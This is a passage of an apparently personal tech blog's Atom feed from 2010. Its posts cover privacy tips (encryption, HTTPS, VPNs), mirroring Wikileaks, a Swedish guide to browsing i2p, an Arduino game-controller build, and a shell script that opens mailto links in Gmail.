If this is to much work for you, you can try out some of the cloud storage services. Ubuntu has a built in service called &lt;a href=&quot;https://one.ubuntu.com/&quot;&gt;Ubuntu One&lt;/a&gt;. Another one is &lt;a href=&quot;https://www.dropbox.com/referrals/NTUyMzkzMzg5?src=global0&quot;&gt;Dropbox&lt;/a&gt;. &lt;br /&gt;
These services are free if you only need a few GB of data. In case you need more you need to pay a monthly fee.&lt;/p&gt;
&lt;h2&gt;&lt;a name=&quot;#encrypt&quot;&gt;Encrypt your hard drives!&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;What most people think the log-in screen on your computer does,  encryption really does. It is easy to get past the login screen on all normal operating systems. Even if someone is unable to log in to your computer they could just mount your hard drive on their own computer and see all your files. &lt;br /&gt;
So if your computer is stolen or otherwise compromised it is always good to have the files encrypted. Preferably the whole hard drive.&lt;br /&gt;
There are several ways to do this, Ubuntu offers to encrypt your hard drives when you install it. For other operating systems there are a lot of alternatives. One example is &lt;a href=&quot;http://www.truecrypt.org/&quot;&gt;TrueCrypt&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;&lt;a name=&quot;#https&quot;&gt;Use encrypted connections when you are on a network&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Whenever you are using a network, and especially if you are using a wireless connection you should do your best to use encrypted connections. It is very easy to “listen” to wireless connections and steal information from you (like your Facebook password, credit card number, your chat conversations and so on). &lt;br /&gt;
The easiest way to avoid having your information stolen is to use the “https://”- address instead of the “http://”- address to the website you are logging in to. There is a handy &amp;quot;Firefox Plugin”:https://www.eff.org/https-everywhere to help you with this! &lt;br /&gt;
To make sure all of your network traffic is encrypted when you are using a wireless network you can use a &lt;span class=&quot;caps&quot;&gt;VPN&lt;/span&gt;, Virtual Private Network. This will tell your computer to send all information that  is leaving your computer to first go to another computer that you trust and from that computer travel to the website/chat-server you have requested. You can either install a &lt;span class=&quot;caps&quot;&gt;VPN&lt;/span&gt; at home, but that might get a bit complicated, or you can rent the service from a &lt;span class=&quot;caps&quot;&gt;VPN&lt;/span&gt; provider. There are a lot of alternatives, examples are &lt;a href=&quot;https://www.anonine.com/&quot;&gt;Anonine&lt;/a&gt; and &lt;a href=&quot;https://www.relakks.com/&quot;&gt;Relakks&lt;/a&gt; (both are Swedish). &lt;br /&gt;
A &lt;span class=&quot;caps&quot;&gt;VPN&lt;/span&gt; might also help to protect your identity on the web!&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Support Our Troops</title>
    <link href="http://blog.kejsarmakten.se/all/personal/2010/12/05/Mirror-wikileaks.html"/>
    <updated>2010-12-05T00:00:00+01:00</updated>
    <id>http://blog.kejsarmakten.se/all/personal/2010/12/05/Mirror-wikileaks</id>
    <content type="html">&lt;h2&gt;Support Our Troops&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;05 Dec 2010&lt;br /&gt;
&lt;pre id=&quot;terminal&quot;&gt;&lt;br /&gt;
&amp;#8220;I can&amp;#8217;t belive we are sitting here and sharing information on &lt;br /&gt;what IP-adresses are stil not censored.&amp;#8221; &amp;#8211; @kyrah&lt;br /&gt;
&lt;/pre&gt;&lt;/p&gt;
&lt;p&gt;This is how you mirror Wikileaks and help supporting Freedom of Speech.&lt;/p&gt;
&lt;p&gt;On a Linux/Unix machine write the command &amp;#8220;wget -mirror 46.59.1.2&amp;#8221; and you will copy the website to your local machine. It is not guarranteed that the ip will work, and if it doesn&amp;#8217;t check out this list of wikileak mirrors to get a new one &lt;a href=&quot;http://cablegate.failar.nu/mirrorlist.html&quot; target=&quot;_blank&quot;&gt;failar.nu/mirrorlist.html&lt;/a&gt; or log in to irc.telecomix.org and the channel #telekompaketet and ask them for an IP-adress.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt; Wikileaks just put up a guide on how to help mirroring their website &lt;a href=&quot;http://46.59.1.2/mass-mirror.html&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Hur man gör för att surfa på i2p hemsidor</title>
    <link href="http://blog.kejsarmakten.se/all/software/2010/12/03/connecting-to-i2p.html"/>
    <updated>2010-12-03T00:00:00+01:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2010/12/03/connecting-to-i2p</id>
    <content type="html">&lt;h2&gt;Hur man gör för att surfa på i2p hemsidor&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;3 Dec 2010&lt;/p&gt;
&lt;p&gt;A guide in Swedish on how to connect to the i2p Darknet. &lt;br /&gt;
I&amp;#8217;ve decided to write this in Swedish since I guess there are alot of tutorials for this on English already. If you are unable to find one then try using Google Translate.&lt;/p&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;Har du sprungit på hemsidor som slutar på &amp;#8220;.i2p&amp;#8221;, som t.ex. &lt;a href=&quot;http://forum.i2p/&quot; target=&quot;_blank&quot;&gt;http://forum.i2p/&lt;/a&gt;? &lt;br /&gt;
Dessa hemsidor går inte att öppna normalt i en webläsare och det beror på att de är såkallade &amp;#8220;eepSites&amp;#8221;. Dessa sidorna ligger inne i ett &amp;#8220;Darknet&amp;#8221; som möjliggör för den som lägger upp hemsidan och för de som besöker hemsidan att vara anonyma. &lt;br /&gt;
Om du vill besöka en hemsida i i2p eller lägga upp en anonym hemsida så kan du följa stegen nedan. Märk dock att jag kör Linux distributionen Ubuntu 10.10 och om du kör något annat Operativsystem (som t.ex Apples OS X eller Windows) så kan det se lite annorlunda ut men jag försöker hålla det så allmänt som jag kan. &lt;/p&gt;
&lt;p&gt;Här är en video där jag utför alla stegen som står nedanför på en nyinstallerad Ubuntu maskin (utom java installationen).&lt;br /&gt;
För tillfället är den helt oklippt då jag inte har haft tid till det ännu och då jag kör den i en virtuell maskin så går vissa nedladdningar ganska slött. Spola gärna förbi dem tills jag har fått tid att klippa till filmen och ladda upp den här ordentligt.&lt;/p&gt;
&lt;p&gt;&lt;object width=&quot;425&quot; height=&quot;344&quot;&gt;&lt;param name=&quot;movie&quot; value=&quot;http://www.youtube.com/v/q4owyd_CaGc?hl=sv&amp;fs=1&quot;&gt;&lt;/param&gt;&lt;param name=&quot;allowFullScreen&quot; value=&quot;true&quot;&gt;&lt;/param&gt;&lt;param name=&quot;allowscriptaccess&quot; value=&quot;always&quot;&gt;&lt;/param&gt;&lt;embed src=&quot;http://www.youtube.com/v/q4owyd_CaGc?hl=sv&amp;fs=1&quot; type=&quot;application/x-shockwave-flash&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;true&quot; width=&quot;425&quot; height=&quot;344&quot;&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/p&gt;
&lt;ul&gt;
	&lt;li&gt;Det första steget är att se till att du har Java installerat på din dator. Det är lätt att göra på de flesta operativsystem. Surfa in på den &lt;a href=&quot;http://www.java.com/en/download/installed.jsp?detect=jre&amp;try=1&quot; target=&quot;_blank&quot;&gt;här hemsidan&lt;/a&gt; och testa om du har det eller inte. Om du saknar det så kan du lätt installera det från hemsidan.&lt;/li&gt;
	&lt;li&gt;Det andra steget är att surfa in på i2p-projektets egen hemsida och ladda ner den senaste versionen av i2p-installeringsfilen. Hemsidan hittar ni &lt;a href=&quot;http://www.i2p2.de/download&quot; target=&quot;_blank&quot;&gt;här&lt;/a&gt; och filen ni skall ladda ner ligger under rubriken &amp;#8220;Clean installer:&amp;#8221; och &amp;#8220;Graphical installer:&amp;#8221; Filen heter något i stil med &amp;#8220;i2pinstall_*.&lt;strong&gt;.&lt;/strong&gt;.exe&amp;#8221; där &amp;#8220;*&amp;#8221; versions nummer.&lt;/li&gt;
	&lt;li&gt;Nu skiljer det sig lite mellan operativsystemen. Om du kör Windows kan du troligen bara trycka på filen för att få upp en installationsruta (Ni kan sen hoppa direkt till nästa punkt). Kör du OS X eller Linux som jag så får du öppna en Terminal och navigera dig till mappen där filen ligger med hjälp av kommandona &amp;#8220;ls&amp;#8221; (se vad som finns i mappen) och &amp;#8220;cd dir&amp;#8221; (gå till en mapp) där &amp;#8220;dir&amp;#8221; är mappens namn. När du väl är i samma mapp som installationsfilen så skriv in commandot &lt;pre name=&quot;code&quot; class=&quot;terminal&quot;&gt;$ java -jar i2pinstall_*.&lt;strong&gt;.&lt;/strong&gt;.exe&lt;/pre&gt; där du får byta ut &amp;#8220;*&amp;#8221;-tecknen mot versionsnumret på din fil. &lt;/li&gt;
&lt;li&gt;När du har utfört ovanstående steg öppnas en lättförstålig ruta som låter dig välja vilket språk du vill installera med samt vilken mapp du vill installera i. Följ de angivna stegen i rutan tills den säger att du är klar. &lt;/li&gt;
&lt;li&gt;Nu är det dags att starta din i2p-router. Det är den som låter dig ansluta till de anonyma i2p sidorna. &lt;br /&gt;
Nu vet jag inte hur du gör detta på en Windowsmaskin (om någon som läser detta vet hur man gör får ni gärna berätta så jag kan uppdatera guiden), men antagligen skall ni klicka på filen &amp;#8220;i2prouter&amp;#8221; i er installationsmapp. &lt;br /&gt;
Linux och OS X användare kan göra såhär: Öppna åter igen en terminal och navigera er in till mappen som ni angav som installationmapp, på Ubuntu så är standardmappen &amp;#8220;/home/user/i2p/&amp;#8221;. Väl inne i mappen så skriver ni &lt;pre name=&quot;code&quot; class=&quot;terminal&quot;&gt;$ ./i2prouter start&lt;/pre&gt; och detta bör resultera i en output som liknar &lt;pre name=&quot;code&quot; class=&quot;terminal&quot;&gt;$ Starting i2p Service&amp;#8230; &lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;Om allt har gått bra i föregående steg skall nu en webläsare öppnas som visar din i2p-inställningspanel. Ha lite tålamod för det kan ta en liten stund. Här kan du sköta alla dina inställningar och läsa mer om hur du gör för att chatta anonymt och säkert, lägga upp anonyma hemsidor och mycket mera. Den här sidan har många små inställningar att göra men jag tänkte inte gå igenom dem just nu för all information finns där på lättförstålig svenska. Man behöver inte heller röra inställningarna för att det skall fungera normalt heller. &lt;br /&gt;
&lt;li&gt;Nu för att kunna surfa på i2p-hemsidorna så måste vi öppna en webbläsare. Vi måste få webbläsaren att använda adressen &amp;#8220;localhost&amp;#8221; och porten &amp;#8220;4444&amp;#8221; som proxy för att koppla upp sig på internet. Detta kanske låter lite avancerat men det är förvånansvärt lätt i de flesta moderna webbläsare och görs oftast i inställningarna. &lt;br /&gt;
För att göra detta så lätt som möjligt föreslår jag att ni använder webbläsaren Firefox (som ni kan hämta &lt;a href=&quot;http://www.mozilla.com/firefox/&quot; target=&quot;_blank&quot;&gt;här&lt;/a&gt;). För Firefox har nämligen en väldigt smidig &amp;#8220;addon&amp;#8221;, tillägg, som gör att man slipper gå in och ändra proxyinställningarna varje gång man vill besöka en i2p-hemsida.&lt;br /&gt;
Tillägget heter FoxyProxy och går att installera genom att man öppnar Firefox och trycker på &amp;#8220;Verktyg&amp;#8221; i menyraden och sedan på &amp;#8220;Tilläg&amp;#8221;. Sök, i sökrutan högst upp, på &amp;#8220;FoxyProxy&amp;#8221; och installera sedan &amp;#8220;FoxyProxy Standard&amp;#8221;. Detta tar en liten stund och sedan blir du ombedd att starta om Firefox. Gör det! :)&lt;br/&gt;
När firefox startar igen har det dykt upp en liten ikon längst ner i högra hörnet. Tryck på den. &lt;br /&gt;
I rutan som öppnas trycker ställer du nu på &amp;#8220;Lägg till ny proxy&amp;#8221;. Det kommer nu öppnas ytterligare en ruta. I den stora textrutan som det står &amp;#8220;Host eller ipadress&amp;#8221; brevid så skriver du in &amp;#8220;localhost&amp;#8221;. I den mindre rutan som det står &amp;#8220;Port&amp;#8221; på så skriver du in &amp;#8220;4444&amp;#8221;.&lt;br /&gt; Nästa steg är att välja fliken &amp;#8220;&lt;span class=&quot;caps&quot;&gt;URL&lt;/span&gt;-mönster&amp;#8221;. Tryck knappen &amp;#8220;Lägg till nytt mönster&amp;#8221;. Döp mönstret till &amp;#8220;i2p&amp;#8221; och i &amp;#8220;&lt;span class=&quot;caps&quot;&gt;URL&lt;/span&gt; eller &lt;span class=&quot;caps&quot;&gt;URL&lt;/span&gt;-mönster&amp;#8221;-rutan så skriver du in &quot;*.i2p*&quot;. Det betyder att FoxyProxy endast skall köra sidor som innehåller texten &amp;#8220;.i2p&amp;#8221; genom i2p-nätverket. Tryck sedan &amp;#8220;Ok&amp;#8221; för att spara ditt mönster och tryck sedan &amp;#8220;Ok&amp;#8221; för att spara din proxy.&lt;br /&gt; &lt;br /&gt;
Sista steget är nu att ändra högst upp i rutan från &amp;#8220;Stäng av FoxyProx för användning&amp;#8221; till &amp;#8220;Använd Proxy enligt fördefinierade mönster och prioritet&amp;#8221;.&lt;/li&gt;
&lt;li&gt;Nu är det dags för att se om alltid har fungerat som det skall! Testa att gå in på den här länken: &lt;a href=&quot;http://forum.i2p&quot; target=&quot;_target&quot;&gt;forum.i2p&lt;/a&gt;. Fungerar det? Grattis du kan nu surfa till annonyma i2p-sidor (eepSites)! &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Varför jag rekommenderar FoxyProxy är för att man inte skall behöva ändra för hand varje gång man vill byta mellan att surfa över i2p och surfa direkt över sin internetuppkoppling. Det finns säkert massor av alternativ som liknar FoxyProxy till både Firefox och alla andra webbläsare men jag rekommendera FoxyProxy just för att jag har testat det och vet att det fungerar väldigt bra. &lt;br /&gt;
Värt att nämna är också att man kan surfa genom i2p till vanliga hemsidor med, som t.ex. www.google.se och får även då sin IP-adress dold (&lt;span class=&quot;caps&quot;&gt;MEN&lt;/span&gt; DÅ MÅSTE NI ÄNDRA I &lt;span class=&quot;caps&quot;&gt;FOXYPROXY&lt;/span&gt; SÅ NI &lt;span class=&quot;caps&quot;&gt;ALLTID&lt;/span&gt; ANVÄNDER ER &amp;#8220;localhost&amp;#8221; &lt;span class=&quot;caps&quot;&gt;PORT&lt;/span&gt; &amp;#8220;4444&amp;#8221; &lt;span class=&quot;caps&quot;&gt;PROXY&lt;/span&gt;). Tyvärr går detta väldigt långsamt då &amp;#8220;utvägarna&amp;#8221; ur i2p-nätverket är få. I2p är inte tänkt att ha &amp;#8220;utvägar&amp;#8221; egentligen så om du egentligen vill surfa på det &amp;#8220;vanliga&amp;#8221; nätet och vill vara annonym kan du t.ex. testa &lt;a href=&quot;https://www.torproject.org/&quot; target=&quot;_blank&quot;&gt;&lt;span class=&quot;caps&quot;&gt;TOR&lt;/span&gt;&lt;/a&gt; som är en liknande tjänst men som mer riktar sig till att annonymisera ip-adresser på det vanliga nätet. Hur man ansluter sig till &lt;span class=&quot;caps&quot;&gt;TOR&lt;/span&gt; är en annan historia och jag kanske skriver en guide till det en annan dag. &lt;/p&gt;
&lt;p&gt;Många väljer att använda två webläsare, en där de surfar genom i2p och en där de surfar på vanliga webben. Detta beror på att många addons och script kan läcka information om dig. Därför är det säkrast att använda två webläsare om man är mån om att vara anonym.&lt;/p&gt;
&lt;p&gt;Nu när i2p fungerar bör ni hoppa tillbaka till er &lt;a href=&quot;http://127.0.0.1:7657/index.jsp&quot; target=&quot;_blank&quot;&gt;inställningspanel&lt;/a&gt; och se så att allt fungerar bra. Klicka runt lite och se hur saker fungerar. Om du inte har vidarbefodra en port i din router till i2p kan det t.ex stå en varning. Följ bara instruktionerna i felmedelandena så löser sig allt sådant.&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>svenskarollspel.se added i2p and https support</title>
    <link href="http://blog.kejsarmakten.se/all/software/2010/11/28/Hosting-on-i2p.html"/>
    <updated>2010-11-28T00:00:00+01:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2010/11/28/Hosting-on-i2p</id>
    <content type="html">&lt;h2&gt;svenskarollspel.se added i2p and https support&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;28 Nov 2010&lt;/p&gt;
&lt;p&gt; As a hobby project and as a favor to the swedish roleplaying industri I am hosting the website &lt;a href=&quot;https://svenskarollspel.se&quot; target=&quot;_blank&quot;&gt;svenskarollspel.se&lt;/a&gt;. The website targets people who are interested to see what Swedish RPGs are available on the market. It is meant as a simple place to start if you are new to roleplaying games. &lt;br /&gt;
The website is still under heavy construction but I am writing about it here because I just added &lt;span class=&quot;caps&quot;&gt;HTTPS&lt;/span&gt; and i2p support.&lt;/p&gt;
&lt;p&gt;The &lt;span class=&quot;caps&quot;&gt;SSL&lt;/span&gt;- certificate is signed with by &lt;a href=&quot;https://startssll.com&quot; target=&quot;_blank&quot;&gt;startssl&lt;/a&gt; and it is a free service!&lt;/p&gt;
&lt;p&gt;I have also started to host the site on the &lt;a href=&quot;http://i2p2.de&quot; target=&quot;_blank&quot;&gt;i2p darknet&lt;/a&gt;. This might not be something that is needed for an &lt;span class=&quot;caps&quot;&gt;RPG&lt;/span&gt; website but I did it more as a statement as I am a strong believer in the right to anonymity and freedom of speech&lt;/p&gt;
&lt;p&gt;I hope to be able to provide the same services for this blog as well within a near future.&lt;/p&gt; 
&lt;p&gt;This blogpost will be extended later, because right now I have a Realtime programming project to finish.&lt;/p&gt; </content>
  </entry>
  
 
  
  <entry>
    <title>Built an arduino-snes-usb-handcontroller</title>
    <link href="http://blog.kejsarmakten.se/all/software/2010/11/09/arduino-sings.html"/>
    <updated>2010-11-09T00:00:00+01:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2010/11/09/arduino-sings</id>
    <content type="html">&lt;h2&gt;Built an arduino-snes-usb-handcontroller&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;09 Nov 2010&lt;/p&gt;
&lt;p&gt;Today I finished moulding my Arduino &amp;#8220;snes&amp;#8221;-handcontroller (usb).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/arduino.jpg&quot; alt=&quot;Moulded and done&quot;/&gt;&lt;/p&gt;
&lt;p&gt;I used mostly parts from &lt;a href=&quot;http://www.sparkfun.com/commerce/tutorial_info.php?tutorials_id=171&quot; target=&quot;_blank&quot;&gt;sparkfun&lt;/a&gt;, like the thumstick, and the red board. The microcontroller controlling everything is an &lt;a href=&quot;http://www.arduino.cc/&quot; target=&quot;_blank&quot;&gt;Arduino Duemilanove&lt;/a&gt;. The rest of the components (mostly buttons) I scrambled together from different locations.&lt;br /&gt;
&lt;br /&gt;
&lt;p&gt;My plan is to write some little arcade game to control with it, but as I just finished the assembly I just tried out some of the example code on SparkFuns website. Here is my microcontroller singing &amp;#8220;Twinkle, twinkle little star&amp;#8221; in different speeds and intensities (in html 5 so not sure if it is going to work for all of you. In case it doesn&amp;#8217;t work here is a direct link to this rather unspectacular &lt;a href=&quot;http://blog.kejsarmakten.se/images/arduinosings.ogg&quot; target=&quot;_blank&quot;&gt;film&lt;/a&gt;).&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>Moving in</title>
    <link href="http://blog.kejsarmakten.se/all/personal/2010/11/09/Moving-in.html"/>
    <updated>2010-11-09T00:00:00+01:00</updated>
    <id>http://blog.kejsarmakten.se/all/personal/2010/11/09/Moving-in</id>
    <content type="html">&lt;h2&gt;Moving in&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;14 Jul 2010&lt;/p&gt;
&lt;p&gt;I just decided to move from my wordpress blog over at &lt;a href=&quot;http://development.kejsarmakten.se&quot; target=&quot;_blank&quot;&gt;development.kejsarmakten.se&lt;/a&gt; to a more personal blog less connected to the Kejsarmakten project. This blog is hosted with the help of &lt;a href=&quot;https://github.com/mojombo/jekyll&quot; target=&quot;_blank&quot;&gt; Jekyll&lt;/a&gt;. The current design of this site is merly temporary. I will also try to migrate parts of my old blog here in due time.&lt;/p&gt;</content>
  </entry>
  
 
  
  <entry>
    <title>How to open mailto: with gmail in chrome</title>
    <link href="http://blog.kejsarmakten.se/all/software/2010/06/19/open-mailto-with-gmail-in-chrome.html"/>
    <updated>2010-06-19T00:00:00+02:00</updated>
    <id>http://blog.kejsarmakten.se/all/software/2010/06/19/open-mailto-with-gmail-in-chrome</id>
    <content type="html">&lt;h2&gt;How to open mailto: with gmail in chrome&lt;/h2&gt;
&lt;p class=&quot;publish_date&quot;&gt;19 Jun 2010&lt;/p&gt;
&lt;p&gt;I use Gmail as my main e-mail client so I grew rather tired of having Thunderbird (or Evolution Mail) open every time I press a mailto-tag in Chrome on my Ubuntu (10.04 &lt;span class=&quot;caps&quot;&gt;LTS&lt;/span&gt;) machine. This is how you get Gmail instead of your standard email client.&lt;br /&gt;
First you need to open a terminal and write&lt;/p&gt;
&lt;pre class=&quot;terminal&quot;&gt;
$	gnome-default-applications-properties
&lt;/pre&gt;
&lt;p&gt;In the newly opened window set the email command to&lt;br /&gt;
&lt;pre class=&quot;terminal&quot;&gt;gnome-open https://mail.google.com/mail/?extsrc=mailto&amp;amp;url=%s&lt;/pre&gt;&lt;/p&gt;
&lt;p&gt;Do not forget to set Chrome as your default browser.&lt;/p&gt;
&lt;p&gt;&amp;#8212;&lt;/p&gt;
&lt;p&gt;You can get the email to be automatically filled out by for you if you change the email command in gnome-default-applications-properties to&lt;br /&gt;
&lt;pre class=&quot;terminal&quot;&gt;$		sh /home/user/gmailinchrome.sh %s&lt;/pre&gt;&lt;br /&gt;
&lt;p&gt; (where “user” should be replaced by your username). Then you have to put a shell-script in your /home folder. This is done by creating a file named gmailinchrome.sh in your home folder and copying the following text into the file.&lt;/p&gt;&lt;br /&gt;
&lt;pre class=&quot;terminal&quot;&gt;
#!/bin/sh
/opt/google/chrome/google-chrome &lt;br /&gt;“https://mail.google.com/mail?view=cm&amp;tf=0&amp;to=`echo $1 | sed ‘s/mailto://’`”
&lt;/pre&gt;
&lt;/p&gt;</content>
  </entry>
  
 
 
</feed>
